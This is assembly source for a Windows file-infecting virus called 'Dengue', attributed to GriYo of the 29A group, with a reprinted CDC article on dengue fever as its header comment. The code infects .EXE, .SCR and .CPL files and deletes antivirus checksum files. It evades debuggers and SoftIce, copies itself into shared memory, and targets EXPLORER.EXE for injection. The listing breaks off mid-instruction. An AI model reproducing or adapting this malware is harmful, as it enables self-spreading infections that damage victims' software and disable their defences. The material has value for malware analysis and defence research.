;============================================================================ ; ; Dengue Hemorrhagic Fever ; ; BioCoded by GriYo / 29A ; griyo@bi0.net ; ;============================================================================ ; ; About the biomodel ; ------------------ ; ; Dengue Hemorrhagic Fever: The Emergence of a Global Health Problem ; ; Dengue and dengue hemorrhagic fever (DHF) are caused by one of four ;closely related, but antigenically distinct, virus serotypes (DEN-1, DEN-2, ;DEN-3, and DEN-4), of the genus Flavivirus. Infection with one of these ;serotypes does not provide cross-protective immunity, so persons living in ;a dengue-endemic area can have four dengue infections during their ;lifetimes. Dengue is primarily an urban disease of the tropics, and the ;viruses that cause it are maintained in a cycle that involves humans and ;Aedes aegypti, a domestic, day-biting mosquito that prefers to feed on ;humans. Infection with a dengue virus serotype can produce a spectrum of ;clinical illness, ranging from a nonspecific viral syndrome to severe and ;fatal hemorrhagic disease. Important risk factors for DHF include the ;strain and serotype of the virus involved, as well as the age, immune ;status, and genetic predisposition of the patient. ; ; The first reported epidemics of dengue fever occurred in 1779-1780 ;in Asia, Africa, and North America; the near simultaneous occurrence of ;outbreaks on three continents indicates that these viruses and their ;mosquito vector have had a worldwide distribution in the tropics for more ;than 200 years. During most of this time, dengue fever was considered a ;benign, nonfatal disease of visitors to the tropics. Generally, there were ;long intervals (10-40 years) between major epidemics, mainly because the ;viruses and their mosquito vector could only be transported between ;population centers by sailing vessels. ; ; A global pandemic of dengue begun in Southeast Asia after World ;War II and has intensified during the last 15 years. Epidemics caused by ;multiple serotypes (hyperendemicity) are more frequent, the geographic ;distribution of dengue viruses has expanded, and DHF has emerged in the ;Pacific region and the Americas. In Southeast Asia, epidemic DHF ;first appeared in the 1950s, but by 1975 it had become a leading cause of ;hospitalization and death among children in many countries. In the 1980s, ;DHF began a second expansion into Asia when Sri Lanka, India, and the ;Maldive Islands had their first major DHF epidemics; Pakistan first ;reported an epidemic of dengue fever in 1994. The recent epidemics in ;Sri Lanka and India were associated with multiple dengue virus serotypes, ;but DEN-3 was predominant and was genetically distinct from DEN-3 viruses ;previously isolated from infected persons in those countries. ; ; After an absence of 35 years, epidemic dengue fever occurred in ;both Taiwan and the People's Republic of China in the 1980s. The People's ;Republic of China had a series of epidemics caused by all four serotypes, ;and its first major epidemic of DHF, caused by DEN-2, was reported on ;Hainan Island in 1985. Singapore also had a resurgence of dengue/DHF ;from 1990 to 1994 after a successful control program had prevented ;significant transmission for over 20 years. In other countries of Asia ;where DHF is endemic, the epidemics have become progressively larger in the ;last 15 years. ; ; In the Pacific, dengue viruses were reintroduced in the early 1970s ;after an absence of more than 25 years. Epidemic activity caused by all ;four serotypes has intensified in recent years with major epidemics of DHF ;on several islands. ; ; Despite poor surveillance for dengue in Africa, we know that ;epidemic dengue fever caused by all four serotypes has increased ;dramatically since 1980. Most activity has occurred in East Africa, and ;major epidemics were reported for the first time in the Seychelles (1977), ;Kenya (1982, DEN-2), Mozambique (1985, DEN-3), Djibouti (1991-92, DEN-2), ;Somalia (1982, 1993, DEN-2), and Saudi Arabia (1994, DEN-2) (CDC, ;unpublished data). Epidemic DHF has been reported in neither Africa nor the ;Middle East, but sporadic cases clinically compatible with DHF have been ;reported from Mozambique, Djibouti, and Saudi Arabia (CDC, unpublished ;data). ; ; The emergence of dengue/DHF as a major public health problem has ;been most dramatic in the American region. In an effort to prevent urban ;yellow fever, which is also transmitted by Ae. aegypti, the Pan American ;Health Organization organized a campaign that eradicated Ae. aegypti from ;most Central and South American countries in the 1950s and 1960s. As a ;result, epidemic dengue occurred only sporadically in some Caribbean ;islands during this period. The Ae. aegypti eradication program, which was ;officially discontinued in the United States in 1970, gradually eroded ;elsewhere, and this species began to reinfest countries from which it had ;been eradicated. In 1995, the geographic distribution of Ae. aegypti was ;similar to its distribution before the eradication program. ; ; In 1970, only DEN-2 virus was present in the Americas, although ;DEN-3 may have had a focal distribution in Colombia and Puerto Rico. In ;1977, DEN-1 was introduced and caused major epidemics throughout the ;region over a 16-year period. DEN-4 was introduced in 1981 and caused ;similar widespread epidemics. Also in 1981, a new strain of DEN-2 from ;Southeast Asia caused the first major DHF epidemic in the Americas (Cuba). ;This strain has spread rapidly throughout the region and has caused ;outbreaks of DHF in Venezuela, Colombia, Brazil, French Guiana, Suriname, ;and Puerto Rico. By 1995, 14 countries in the American region had reported ;confirmed DHF cases, and DHF is endemic in many of these countries. ; ; DEN-3 virus recently reappeared in the Americas after an absence of ;16 years. This serotype was first detected in association with a 1994 ;dengue/DHF epidemic in Nicaragua. Almost simultaneously, DEN-3 was ;confirmed in Panama and, in early 1995, in Costa Rica (CDC, unpublished ;data). In Nicaragua, considerable numbers of DHF were associated with the ;epidemic, which was apparently caused by DEN-3. In Panama and Costa Rica, ;the cases were classic dengue fever. ; ; Viral envelope gene sequence data from the DEN-3 strains isolated ;from Panama and Nicaragua have shown that this new American DEN-3 virus ;strain was likely a recent introduction from Asia since it is genetically ;distinct from the DEN-3 strain found previously in the Americas, but is ;identical to the DEN-3 virus serotype that caused major DHF epidemics in ;Sri Lanka and India in the 1980s (R. Lanciotti; unpublished data). The new ;DEN-3 strain, and the susceptibility of the population in the American ;tropics to it, suggests that DEN-3 will spread rapidly throughout the ;region and likely will cause major epidemics of dengue/DHF in the near ;future. ; ; In 1995, dengue is the most important mosquito-borne viral disease ;affecting humans; its global distribution is comparable to that of malaria, ;and an estimated 2.5 billion people are living in areas at risk for epidemic ;transmission. Each year, tens of millions of cases of dengue fever occur ;and, depending on the year, up to hundreds of thousands of cases of DHF. The ;case-fatality rate of DHF in most countries is about 5%: most fatal cases ;are among children. ; ; There is a small, but significant, risk for dengue outbreaks in the ;continental United States. Two competent mosquito vectors, Ae. aegypti and ;Aedes albopictus, are present and, under certain circumstances, each could ;transmit dengue viruses. This type of transmission has been detected twice ;in the last 15 years in south Texas (1980 and 1986) and has been associated ;with dengue epidemics in northern Mexico. Moreover, numerous viruses are ;introduced annually by travelers returning from tropical areas where dengue ;viruses are endemic. From 1977 to 1994, a total of 2,248 suspected cases of ;imported dengue were reported in the United States (CDC, unpublished data). ;Although some specimens collected were not adequate for laboratory ;diagnosis, preliminary data indicate that 481 (21%) cases were confirmed as ;dengue (CDC, unpublished data). Many more cases probably go unreported each ;year because surveillance in the United States is passive and relies on ;physicians to recognize the disease, inquire about the patient's travel ;history, obtain proper diagnostic samples, and report the case. These data ;underscore the fact that southern Texas and the southeastern United States, ;where Ae. aegypti is found, are at risk for dengue transmission and ;sporadic outbreaks. ; ; The reasons for this dramatic global emergence of dengue/DHF as a ;major public health problem are complex and not well understood. However, ;several important factors can be identified. First, effective mosquito ;control is virtually nonexistent in most dengue-endemic countries. ;Considerable emphasis for the past 20 years has been placed on ;ultra-low-volume insecticide space sprays for adult mosquito control, a ;relatively ineffective approach for controlling Ae. aegypti. Second, major ;global demographic changes have occurred, the most important of which have ;been uncontrolled urbanization and concurrent population growth. These ;demographic changes have resulted in substandard housing and inadequate ;water, sewer, and waste management systems, all of which increase ;Ae. aegypti population densities and facilitate transmission of ;Ae. aegypti-borne disease. Third, increased travel by airplane provides ;the ideal mechanism for transporting dengue viruses between population ;centers of the tropics, resulting in a constant exchange of dengue viruses ;and other pathogens. Lastly, in most countries the public health ;infrastructure has deteriorated. Limited financial and human resources and ;competing priorities have resulted in a "crisis mentality" with emphasis ;on implementing so-called emergency control methods in response to ;epidemics rather than on developing programs to prevent epidemic ;transmission. This approach has been particularly detrimental to dengue ;control because, in most countries, surveillance is very inadequate; the ;system to detect increased transmission normally relies on reports by local ;physicians who often do not consider dengue in their diagnoses. As a result, ;an epidemic has often reached or passed the peak of transmission before it ;is detected. ; ; No dengue vaccine is available. Recently, however, attenuated ;candidate vaccine viruses have been developed in Thailand. These vaccines ;are safe and immunogenic when given in various formulations, including a ;quadrivalent vaccine for all four dengue virus serotypes. Unfortunately, ;efficacy trials in human volunteers have yet to be initiated. Research is ;also being conducted to develop second-generation recombinant vaccine ;viruses; the Thailand attenuated viruses are used as a template. However, ;an effective dengue vaccine for public use will not be available for 5 to ;10 years. ; ; Prospects for reversing the recent trend of increased epidemic ;activity and geographic expansion of dengue are not promising. New dengue ;virus strains and serotypes will likely continue to be introduced into many ;areas where the population densities of Ae. aegypti are at high levels. With ;no new mosquito control technology available, in recent years public health ;authorities have emphasized disease prevention and mosquito control through ;community efforts to reduce larval breeding sources. Although this approach ;will probably be effective in the long run, it is unlikely to impact disease ;transmission in the near future. We must, therefore, develop improved, ;proactive, laboratory-based surveillance systems that can provide early ;warning of an impending dengue epidemic. At the very least, surveillance ;results can alert the public to take action and physicians to diagnose and ;properly treat dengue/DHF cases. ; ;Duane J. Gubler and Gary G. Clark ;National Center for Infectious Diseases ;Centers for Disease Control and Prevention ;Fort Collins, Colorado, and San Juan, Puerto Rico, USA ; ;============================================================================ .386P locals jumps .model flat,STDCALL include Win32api.inc include Useful.inc include Mz.inc include Pe.inc extrn GetModuleHandleA:NEAR extrn Sleep:NEAR NUMBER_OF_POLY_LAYERS equ 04h ; Max number of poly decryptors ;============================================================================ ;Fake host used for virus 1st generation ;============================================================================ _TEXT segment dword use32 public 'CODE' ;============================================================ ;We need the CRC lookup table for the next steps ;============================================================ host_code: xor ebp,ebp call make_crc_tbl ;============================================================ ;Save the CRC32 of 'KERNEL32.DLL' inside virus body ;============================================================ mov esi,offset g1_szKernel32 call get_str_crc32 mov dword ptr [CrcKernel32],edx ;============================================================ ;Save the CRC32 of 'GetProcAddress' inside virus body ;============================================================ mov esi,offset g1_szGetProcAddr call get_str_crc32 mov dword ptr [CrcGetProcAddr],edx ;============================================================ ;Save the CRC32 of infectable file extensions ;============================================================ mov esi,offset g1_szEXE call get_str_crc32 mov dword ptr [CRC32_szEXE],edx mov esi,offset g1_szSCR call get_str_crc32 mov dword ptr [CRC32_szSCR],edx mov esi,offset g1_szCPL call get_str_crc32 mov dword ptr [CRC32_szCPL],edx ;============================================================ ;Save the CRC32 of some AV files ;============================================================ mov ecx,NumberOfAV mov esi,offset g1_av_names mov edi,offset TblCRC32AV call save_crc_names ;============================================================ ;Save the CRC32 of EXPLORER.EXE ;============================================================ mov esi,offset g1_szEXPLORER call get_str_crc32 mov dword ptr [CRCszEXPLORER],edx ;============================================================ ;Save the CRC32 of 'USER32.DLL' ;============================================================ mov esi,offset g1_szUSER32 call get_str_crc32 mov dword ptr [CRCszUSER32],edx ;============================================================ ;Save the CRC32 of 'PSAPI.DLL' ;============================================================ mov esi,offset g1_szPSAPI call get_str_crc32 mov dword ptr [CRCszPSAPI],edx ;============================================================ ;Save the CRC32 of 'IMAGEHLP.DLL' ;============================================================ mov esi,offset g1_szIMGHLP call get_str_crc32 mov dword ptr [CRCszIMGHLP],edx ;============================================================ ;Save the CRC32 of 'SFC.DLL' ;============================================================ mov esi,offset g1_szSFC call get_str_crc32 mov dword ptr [CRCszSFC],edx ;============================================================ ;Get CRC's of needed API's and save them inside virus body ;Lets start with KERNEL32 API names ;============================================================ mov ecx,NumK32Apis mov esi,offset namesK32Apis mov edi,offset CRC32K32Apis call save_crc_names ;============================================================ ;This are some special handled APIs ;============================================================ mov ecx,00000001h mov esi,offset name_IsDebuggerPresent mov edi,offset CRC32_IsDebugPr call save_crc_names ;============================================================ ;Get TOOLHELP APIs (Windows 9x only) ;============================================================ mov ecx,NumTOOLHELPApis mov esi,offset namesTOOLHELPApis mov edi,offset CRC32TOOLHELPApis call save_crc_names ;============================================================ ;Get PSAPI.DLL APIs (Windows Nt & Windows 2000 only) ;============================================================ mov ecx,NumPSAPIApis mov esi,offset namesPSAPIApis mov edi,offset CRC32PSAPIApis call save_crc_names ;============================================================ ;Get API used to compute image checksum ;============================================================ mov ecx,NumIMGHLPApis mov esi,offset namesIMGHLPApis mov edi,offset CRC32IMGHLPApis call save_crc_names ;============================================================ ;Get API used to check for Windows2000 System File Protection ;============================================================ mov ecx,NumSFCApis mov esi,offset namesSFCApis mov edi,offset CRC32SFCApis call save_crc_names ;============================================================ ;Get CRC32 of USER32 API names ( Ansi version ) ;============================================================ mov ecx,NumUSER32Apis mov esi,offset namesUSER32Apisw9x mov edi,offset CRC32USER32Apisw9x call save_crc_names ;============================================================ ;Get CRC32 of USER32 API names ( Wide version ) ;============================================================ mov ecx,NumUSER32Apis mov esi,offset namesUSER32Apiswnt mov edi,offset CRC32USER32Apiswnt call save_crc_names ;============================================================ ;Build the do-not-infect-file-by-name CRC32 table ;============================================================ mov ecx,avoid_num mov esi,offset g1_avoid_files mov edi,offset avoid_tbl call save_crc_names ;============================================================ ;Get KERNEL32.DLL module handle ;============================================================ push offset g1_szKernel32 call GetModuleHandleA or eax,eax jz out_1st_gen mov ebx,eax xor ebp,ebp db 05h dup (90h) call get1st_end db 05h dup (90h) ;============================================================ ;Let the 1st generation host running ;============================================================ out_1st_gen: push 0FFFFFFFFh call Sleep jmp out_1st_gen ;Never executed, but i dont want to remove it ;anyway, this wont take part of the main ;virus body... ;============================================================ ;Ready to jump into main virus body !!!! ;============================================================ get1st_end: push eax ; Space for ebx push eax ; Space for esi push eax ; Space for edi push eax ; Space for ebp xor ebp,ebp jmp entry_1st_gen ;============================================================ ;Routine that converts API names in CRC32 values ;============================================================ save_crc_names: cld get_g1_crc: push ecx lodsd push esi mov esi,eax call get_str_crc32 mov eax,edx stosd pop esi pop ecx loop get_g1_crc ret _TEXT ends ;============================================================================ ;Here comes the rest of the sections in virus 1st generation ;============================================================================ _DATA segment dword use32 public 'DATA' ;============================================================ ;Used to locate KERNEL32 base address on 1st generation ;============================================================ g1_szKernel32 db 'KERNEL32.DLL',00h g1_szGetProcAddr db 'GetProcAddress',00h ;============================================================ ;Used to check if file extension is infectable ;============================================================ g1_szEXE db '.EXE',00h g1_szSCR db '.SCR',00h g1_szCPL db '.CPL',00h ;============================================================ ;This virus use CRC32 instead of DLL names !!!! ; ;LoadLibrary requires the DLL name as parameter... but ;we can find the DLL name by browsing SYSTEM32 directory ;for a file whose CRC32 matches a given one ;============================================================ g1_szEXPLORER db 'EXPLORER.EXE',00h g1_szUSER32 db 'USER32.DLL',00h g1_szPSAPI db 'PSAPI.DLL',00h g1_szIMGHLP db 'IMAGEHLP.DLL',00h g1_szSFC db 'SFC.DLL',00h ;============================================================ ;Do not infect files with this character combinations on ;their names ;============================================================ g1_avoid_files equ $ dd offset g1_avoid_00 dd offset g1_avoid_01 dd offset g1_avoid_02 dd offset g1_avoid_03 dd offset g1_avoid_04 dd offset g1_avoid_05 dd offset g1_avoid_06 dd offset g1_avoid_07 dd offset g1_avoid_08 dd offset g1_avoid_09 dd offset g1_avoid_0A dd offset g1_avoid_0B dd offset g1_avoid_0C dd offset g1_avoid_0D dd offset g1_avoid_0E dd offset g1_avoid_0F dd offset g1_avoid_10 dd offset g1_avoid_11 dd offset g1_avoid_12 dd offset g1_avoid_13 dd offset g1_avoid_14 dd offset g1_avoid_15 dd offset g1_avoid_16 dd offset g1_avoid_17 dd offset g1_avoid_18 avoid_num equ ($-g1_avoid_files)/04h g1_avoid_00 db 'DR',00h g1_avoid_01 db 'PA',00h g1_avoid_02 db 'RO',00h g1_avoid_03 db 'VI',00h g1_avoid_04 db 'AV',00h g1_avoid_05 db 'TO',00h g1_avoid_06 db 'CA',00h g1_avoid_07 db 'IN',00h g1_avoid_08 db 'MS',00h g1_avoid_09 db 'SR',00h g1_avoid_0A db 'SP',00h g1_avoid_0B db 'RP',00h g1_avoid_0C db 'PR',00h g1_avoid_0D db 'NO',00h g1_avoid_0E db 'CE',00h g1_avoid_0F db 'LE',00h g1_avoid_10 db 'MO',00h g1_avoid_11 db 'SM',00h g1_avoid_12 db 'DD',00h g1_avoid_13 db 'SO',00h g1_avoid_14 db 'SQ',00h g1_avoid_15 db 'EX',00h g1_avoid_16 db 'IE',00h g1_avoid_17 db 'CM',00h g1_avoid_18 db 'CO',00h ;============================================================ ;Delete this AV files ;============================================================ g1_av_names equ $ dd offset g1_delete_00 dd offset g1_delete_01 dd offset g1_delete_02 dd offset g1_delete_03 dd offset g1_delete_04 NumberOfAV equ ($-g1_av_names)/04h g1_delete_00 db 'AVP.CRC',00h g1_delete_01 db 'ANTI-VIR.DAT',00h g1_delete_02 db 'CHKLIST.CPS',00h g1_delete_03 db 'CHKLIST.MS',00h g1_delete_04 db 'IVP.NTZ',00h ;============================================================ ;KERNEL32.DLL API names ; ;Note that this tables and strings are not included into the ;virus body after 1st generation. Only CRC32 values ;============================================================ namesK32Apis equ $ dd offset g1_CreateFileA dd offset g1_CreateFileMappingA dd offset g1_CreateProcessA dd offset g1_CreateThread dd offset g1_CloseHandle dd offset g1_DeleteFileA dd offset g1_ExitThread dd offset g1_FindClose dd offset g1_FindFirstFileA dd offset g1_FindNextFileA dd offset g1_FreeLibrary dd offset g1_GetComputerNameA dd offset g1_GetCurrentProcess dd offset g1_GetDriveTypeA dd offset g1_GetFileAttributesA dd offset g1_GetLastError dd offset g1_GetLocalTime dd offset g1_GetLogicalDriveStringsA dd offset g1_GetSystemDirectoryA dd offset g1_GetVersionEx dd offset g1_LoadLibraryA dd offset g1_MapViewOfFile dd offset g1_OpenFileMappingA dd offset g1_OpenProcess dd offset g1_ReadProcessMemory dd offset g1_SetEndOfFile dd offset g1_SetFileAttributesA dd offset g1_SetFilePointer dd offset g1_SetFileTime dd offset g1_Sleep dd offset g1_UnmapViewOfFile dd offset g1_WriteProcessMemory g1_CreateFileA db 'CreateFileA',00h g1_CreateFileMappingA db 'CreateFileMappingA',00h g1_CreateProcessA db 'CreateProcessA',00h g1_CreateThread db 'CreateThread',00h g1_CloseHandle db 'CloseHandle',00h g1_DeleteFileA db 'DeleteFileA',00h g1_ExitThread db 'ExitThread',00h g1_FindClose db 'FindClose',00h g1_FindFirstFileA db 'FindFirstFileA',00h g1_FindNextFileA db 'FindNextFileA',00h g1_FreeLibrary db 'FreeLibrary',00h g1_GetComputerNameA db 'GetComputerNameA',00h g1_GetCurrentProcess db 'GetCurrentProcess',00h g1_GetDriveTypeA db 'GetDriveTypeA',00h g1_GetFileAttributesA db 'GetFileAttributesA',00h g1_GetLastError db 'GetLastError',00h g1_GetLocalTime db 'GetLocalTime',00h g1_GetLogicalDriveStringsA db 'GetLogicalDriveStringsA',00h g1_GetSystemDirectoryA db 'GetSystemDirectoryA',00h g1_LoadLibraryA db 'LoadLibraryA',00h g1_GetVersionEx db 'GetVersionExA',00h g1_MapViewOfFile db 'MapViewOfFile',00h g1_OpenFileMappingA db 'OpenFileMappingA',00h g1_OpenProcess db 'OpenProcess',00h g1_ReadProcessMemory db 'ReadProcessMemory',00h g1_SetEndOfFile db 'SetEndOfFile',00h g1_SetFileAttributesA db 'SetFileAttributesA',00h g1_SetFilePointer db 'SetFilePointer',00h g1_SetFileTime db 'SetFileTime',00h g1_Sleep db 'Sleep',00h g1_UnmapViewOfFile db 'UnmapViewOfFile',00h g1_WriteProcessMemory db 'WriteProcessMemory',00h ;============================================================ ;Special KERNEL32 APIs ;============================================================ name_IsDebuggerPresent dd offset g1_IsDebuggerPresent g1_IsDebuggerPresent db 'IsDebuggerPresent',00h ;============================================================ ;ToolHelp APIs ;============================================================ namesTOOLHELPApis equ $ dd offset g1_CreateToolhelp32Snapshot dd offset g1_Process32First dd offset g1_Process32Next dd offset g1_Module32First dd offset g1_Module32Next g1_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',00h g1_Process32First db 'Process32First',00h g1_Process32Next db 'Process32Next',00h g1_Module32First db 'Module32First',00h g1_Module32Next db 'Module32Next',00h ;============================================================ ;PSAPI.DLL API names ;============================================================ namesPSAPIApis equ $ dd offset g1_EnumProcessModules dd offset g1_EnumProcesses dd offset g1_GetModuleBaseNameA dd offset g1_GetModuleInformation g1_EnumProcessModules db 'EnumProcessModules',00h g1_EnumProcesses db 'EnumProcesses',00h g1_GetModuleBaseNameA db 'GetModuleBaseNameA',00h g1_GetModuleInformation db 'GetModuleInformation',00h ;============================================================ ;SFC.DLL API names ;============================================================ namesSFCApis equ $ dd offset g1_SfcIsFileProtected g1_SfcIsFileProtected db 'SfcIsFileProtected',00h ;============================================================ ;IMAGEHLP.DLL API names ;============================================================ namesIMGHLPApis equ $ dd offset g1_CheckSumMappedFile g1_CheckSumMappedFile db 'CheckSumMappedFile',00h ;============================================================ ;USER32.DLL API names (Ansi version) ;============================================================ namesUSER32Apisw9x equ $ dd offset g1w9x_DefWindowProc g1w9x_DefWindowProc db 'DefWindowProcA',00h ;============================================================ ;USER32.DLL API names (Wide version) ;============================================================ namesUSER32Apiswnt equ $ dd offset g1wnt_DefWindowProc g1wnt_DefWindowProc db 'DefWindowProcW',00h _DATA ends _BSS segment dword use32 public 'BSS' _BSS ends ;============================================================================ ;Viral section ; ;You have to understand that all the above-mentioned is not part of the virus ;This means that the text strings and other information previous to this ;point will be discarded ;============================================================================ virseg segment dword use32 public 'Dengue' ;============================================================ ;Get delta offset in ebp ;============================================================ viro_sys: call HostDelta HostDelta: pop ebp sub ebp,offset HostDelta ;============================================================ ;Create CRC32 lookup table... This virus uses CRC32 in lots ;of places along its code... Precalculated tables helps to ;really speed-up virus activitie ;============================================================ call make_crc_tbl ;============================================================ ;Check CRC32 of main virus body ; ; esi -> Ptr to buffer ; ecx -> Buffer size ;============================================================ mov ecx,SizeOfProtect lea esi,dword ptr [ebp+CRC_protected] call get_crc32 ;============================================================ ;Checksum matches? ;============================================================ db 0B8h ; mov eax,imm ViralChecksum dd 00000000h cmp eax,edx jne critical_error CRC_protected equ $ ;============================================================ ;Scan system memory looking for KERNEL32.DLL ;============================================================ KernelScanning: pushad fK32_try_01: mov eax,080000101h call IGetNtBaseAddr jecxz fK32_try_02 jmp short kernel_found fK32_try_02: mov eax,0C0000101h call IGetNtBaseAddr jecxz fK32_try_03 jmp short kernel_found fK32_try_03: xor eax,eax call IGetNtBaseAddr kernel_found: jecxz critical_error mov dword ptr [esp.Pushad_ebx],ecx popad ;============================================================ ;This is the entry-point for 1st generation ;Now EBX points to KERNEL32.DLL base address ;============================================================ entry_1st_gen: mov dword ptr [ebp+hKERNEL32],ebx ;============================================================ ;Search for GetProcAddress entry-point ;============================================================ call GetGetProcAddr jecxz critical_error mov dword ptr [ebp+a_GetProcAddress],ecx ;============================================================ ;Get KERNEL32 API addresses ;============================================================ mov ecx,NumK32Apis lea esi,dword ptr [ebp+CRC32K32Apis] lea edi,dword ptr [ebp+epK32Apis] call get_APIs jecxz RestoreHost ;============================================================ ;Everything have to work, but if something goes wrong this ;will halt the process ;============================================================ critical_error: jmp critical_error ;============================================================ ;Restore host code ; ;Make the return address point to the instruction which ;made the call ;============================================================ API_PUSH_SIZE equ 00000004h*00000004h RestoreHost: lea esi,dword ptr [esp+API_PUSH_SIZE] sub dword ptr [esi],00000005h cld lodsd lea esi,dword ptr [ebp+EP_Bytes] push esi push 00000005h call get_org_code org_code db 05h dup (90h) get_org_code: push eax call dword ptr [ebp+a_GetCurrentProcess] push eax call dword ptr [ebp+a_WriteProcessMemory] or eax,eax jz critical_error cld lodsd cmp eax,00000005h jne critical_error ;============================================================ ;Try to locate IsDebuggerPresent API ;============================================================ mov ecx,00000001h lea esi,dword ptr [ebp+CRC32_IsDebugPr] lea edi,dword ptr [ebp+a_IsDebuggerPresent] call get_APIs jecxz DetectDebug jmp short SI_LookUp ;============================================================ ;Check if the current process is running in the context of a ;debugger ;============================================================ DetectDebug: call dword ptr [ebp+a_IsDebuggerPresent] or eax,eax jnz GoBack2Host ;============================================================ ;SoftIce lookup ; ;Code based on the article "Win32 Anti-Debugging tricks" by ;Billy Belcebu/iKX ( published on XINE#4 ) ;============================================================ SI_LookUp: mov esi,dword ptr [ebp+a_CreateFileA] push ecx push FILE_ATTRIBUTE_READONLY push OPEN_EXISTING push ecx push FILE_SHARE_READ push GENERIC_READ call Get_szSIw9x db '\\.\SICE',00h Get_szSIw9x: call esi cmp eax,INVALID_HANDLE_VALUE jne SI_Found push 00000000h push FILE_ATTRIBUTE_READONLY push OPEN_EXISTING push 00000000h push FILE_SHARE_READ push GENERIC_READ call Get_szSIwNT db '\\.\NTICE',00h Get_szSIwNT: call esi cmp eax,INVALID_HANDLE_VALUE je SI_NotFound SI_Found: push eax call dword ptr [ebp+a_CloseHandle] jmp GoBack2Host ;============================================================ ;Get a object name based on current hostname ;============================================================ SI_NotFound: lea edi,dword ptr [ebp+SizeOfComputerName] push edi mov eax,00000020h cld stosd push edi call dword ptr [ebp+a_GetComputerNameA] or eax,eax jz GoBack2Host mov esi,edi call get_str_crc32 movzx ecx,byte ptr [edi] and ecx,00000003h ; Number of characters inc ecx lea edi,dword ptr [ebp+szObjectName] LoopBuildNick: mov al,dl and al,0Fh add al,'a' ; Get character stosb shr edx,04h loop LoopBuildNick mov eax,00003233h stosd mov al,cl stosb ;============================================================ ;Allocate shared memory ; ;MSDN says: ; ;"A shared file-mapping object will not be destroyed until ;all processes that use it close their handles to it by using ;the CloseHandle function." ; ;So the idea is to use CreateFileMapping and MapViewOfFile, ;instead of VirtualAlloc... Then read open this ;file-mapping from a small piece of code injected into ;EXPLORER.EXE ;============================================================ lea eax,dword ptr [ebp+szObjectName] push eax push alloc_size push 00000000h push PAGE_READWRITE push 00000000h push 0FFFFFFFFh call dword ptr [ebp+a_CreateFileMappingA] or eax,eax jz GoBack2Host mov edi,eax call dword ptr [ebp+a_GetLastError] cmp eax,000000B7h ; ERROR_ALREADY_EXISTS jne ResCheckOk push edi call dword ptr [ebp+a_CloseHandle] jmp GoBack2Host ResCheckOk: push 00000000h push 00000000h push 00000000h push FILE_MAP_WRITE push edi call dword ptr [ebp+a_MapViewOfFile] or eax,eax jz GoBack2Host ;============================================================ ;Copy virus to allocated memory block ;============================================================ lea esi,dword ptr [ebp+viro_sys] mov edi,eax mov ecx,size_virtual cld rep movsb ;============================================================ ;Continue execution on allocated memory!!!!!!!!! ; ;This means we are able to use extended buffers... ;============================================================ add eax,offset HostVirMem - offset viro_sys push eax ret ;============================================================================ ;Code executed into allocated memory... Extended buffers are available now ;============================================================================ HostVirMem: call MemDelta MemDelta: pop ebp sub ebp,offset MemDelta ;============================================================ ;The virus needs to locate SYSTEM directory in order to load ;DLL's by using CRC32 instead of their names ;============================================================ push MAX_PATH lea edi,dword ptr [ebp+szSYSTEMDIR] push edi call dword ptr [ebp+a_GetSystemDirectoryA] or eax,eax jz GoBack2Host ;edi -> Points 1byte above the null terminator add edi,eax cld mov eax,'D.*\' ; Add '*.DLL' stosd mov eax,00004C4Ch stosd ;============================================================ ;Get OS version ;============================================================ lea esi,dword ptr [ebp+system_version] push esi mov dword ptr [esi],00000094h call dword ptr [ebp+a_GetVersionEx] or eax,eax jz FreeUSER32 add esi,00000010h cld lodsd cmp eax,VER_PLATFORM_WIN32_NT je MemInfectWinNt cmp eax,VER_PLATFORM_WIN32_WINDOWS je MemInfectWin9x ;============================================================ ;Free USER32 ;============================================================ FreeUSER32: push dword ptr [ebp+hUSER32] call dword ptr [ebp+a_FreeLibrary] ;============================================================ ;Back to host ;============================================================ TblDoPolyPops equ $ GoBack2Host: pop eax pop eax pop eax pop eax ret ;============================================================================ ;Residency routines for Windows 9x ;============================================================================ ;============================================================ ;Get hands on USER32.DLL ;============================================================ MemInfectWin9x: mov eax,dword ptr [ebp+CRCszUSER32] mov ecx,NumUSER32Apis lea esi,dword ptr [ebp+CRC32USER32Apisw9x] lea edi,dword ptr [ebp+epUSER32Apis] call VirLoadLib mov dword ptr [ebp+hUSER32],eax or eax,eax jz GoBack2Host ;============================================================ ;The functions provided by the tool help library make it ;easier for you to obtain information about currently ;executing applications. These functions are designed to ;streamline the creation of Win32-hosted tools, specifically ;debuggers ;============================================================ mov ebx,dword ptr [ebp+hKERNEL32] mov ecx,NumTOOLHELPApis lea esi,dword ptr [ebp+CRC32TOOLHELPApis] lea edi,dword ptr [ebp+epTOOLHELPApis] call get_APIs jecxz DoneTOOLHELP ExitMemWin9x: jmp FreeUSER32 ;============================================================ ;Take a snapshot of the processeses currently loaded in the ;system ; ;The snapshot taken by CreateToolHelpSnapShot function is ;examined by the other tool help functions to provide their ;results ; ;Access to the snapshot is read only. The snapshot handle ;acts like an object handle and is subject to the same rules ;regarding which processes and threads it is valid in ;============================================================ TH32CS_SNAPHEAPLIST equ 00000001h TH32CS_SNAPPROCESS equ 00000002h TH32CS_SNAPTHREAD equ 00000004h TH32CS_SNAPMODULE equ 00000008h TH32CS_INHERIT equ 80000000h TH32CS_SNAPALL equ TH32CS_SNAPHEAPLIST or \ TH32CS_SNAPPROCESS or \ TH32CS_SNAPTHREAD or \ TH32CS_SNAPMODULE DoneTOOLHELP: push ecx ;th32ProcessID push TH32CS_SNAPPROCESS ;dwFlags call dword ptr [ebp+a_CreateToolhelp32Snapshot] cmp eax,0FFFFFFFFh je ExitMemWin9x mov dword ptr [ebp+hSnapshot],eax ;============================================================ ;Retrieve information about the first process encountered ;in the system snapshot ;============================================================ lea edi,dword ptr [ebp+ProcessEntry] push edi mov dword ptr [edi],SIZEOFPROCESSENTRY push eax call dword ptr [ebp+a_Process32First] or eax,eax jz CloseSnapshot CheckProcEntry: lea esi,dword ptr [ebp+ProcEszExeFile] lea edi,dword ptr [ebp+BufStrFilename] call parse_filename mov esi,edx call get_str_crc32 cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ? je EFoundTryMod ;============================================================ ;Go to next process ;============================================================ lea eax,dword ptr [ebp+ProcessEntry] push eax ;lppe push dword ptr [ebp+hSnapshot] ;hSnapshot call dword ptr [ebp+a_Process32Next] or eax,eax jnz CheckProcEntry CloseSnapshot: push dword ptr [ebp+hSnapshot] call dword ptr [ebp+a_CloseHandle] jmp ExitMemWin9x ;============================================================ ;Close snapshot and create a new one, but this time we are ;going to list modules loaded by EXPLORER.EXE ;============================================================ EFoundTryMod: push 